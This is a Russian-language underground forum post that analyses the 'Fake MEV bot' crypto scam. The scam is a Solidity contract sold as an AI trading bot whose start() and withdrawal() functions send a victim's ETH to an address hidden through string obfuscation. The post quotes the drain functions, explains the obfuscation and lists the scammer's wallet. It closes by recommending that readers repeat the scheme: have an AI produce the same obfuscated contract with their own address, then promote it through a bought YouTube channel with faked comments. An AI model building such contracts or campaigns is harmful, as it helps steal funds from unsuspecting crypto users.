• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Fake MEV bot Scam

cdfV

floppy-диск
Пользователь
Регистрация
01.06.2025
Сообщения
2
Реакции
4
Может кому будет полезно, данный скам конвертит даже сейчаст (Правда уже есть разоблачение данного метода:
)

Еще +- год назад в реках появлялись видосы с названиями по типу "I Used ChatGPT To Make an AI Crypto Trading Bot" или "This AI bot makes me 2000$ a day (tutorial)"
Проигнорировал - очевидный скам или кликбейт подумал я.
Недавно снова попался подобный видос и я решил подробнее изучить схему:


Суть мошенничества подается как инструкция для “пассивного дохода с помощью ИИ и ChatGPT”.
Вот шаги, которые просят сделать в видосе:
  1. Скопировать якобы сгенерированный ChatGPT код, создающий “AI трейдинг-бота”.
  2. Задеплоить смарт-контракт вручную на Remix + Metamask, чтобы “доказать”, что всё прозрачно и вы владеете контрактом.
  3. Отправить минимум 0.2 ETH на контракт для “начала работы” — якобы бот будет использовать их для фронтрана новых токенов на Uniswap.
  4. Ждать “прибыль” и использовать кнопку withdrawal() для вывода.
  5. “Раскрутка” завершается: автор говорит, что всё open-source, никаких комиссий, бот на 100% автономный.

Вот ссылка на Solidity код https://github.com/Hudson-DeFi-YT/AI-Trading-Bot/blob/main/bot.sol
На первый взгляд — просто отличный стартап-инструмент от энтузиаста. Но на деле перед нами не бот, а маскированная ловушка. Суть работы контракта сводится к двум функциям:

Код:
function start() public payable {
    payable(_callSwapAction()).transfer(address(this).balance);
}
function withdrawal() public payable {
    payable(withdrawalProfits()).transfer(address(this).balance);
}


Адрес заранее зашит в коде, но не указывается напрямую.
  1. Числа превращаются в строки через checkLiquidity()
  2. Затем склеиваются функцией mempool()
  3. На выходе создается длинная строка, которая затем преобразуется в Ethereum-адрес через parseMempool()

Результат: пользователь визуально не видит никакого подозрительного адреса, но при вызове start() или withdrawal() весь баланс уходит мошеннику.


Код выглядит внушительно, и большинство просто не проверяют его, ведутся на обещания про большие доходы
Ютуб реже банит такие туториал видосы так как скам не очевидный

ссылка на видос

Адрес на который идет вывод: 0xdb7db98492520c5f07ca5c26b97c76214e26361f

До сих пор на адрес регулярно приходят хорошие суммы, и у него скорее всего сетка акков на которые он регулярно заливает

1750528803861.png


Если есть бюджет (+-200$) и желание - через venice.ai просим сделать точно такой же обфусцированный код только со своим адресом (или написать самим если знаете Solidity)
Аккаунт ютуб с 1к пдп + накрутка комментов, Записать подобный видос и залить
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх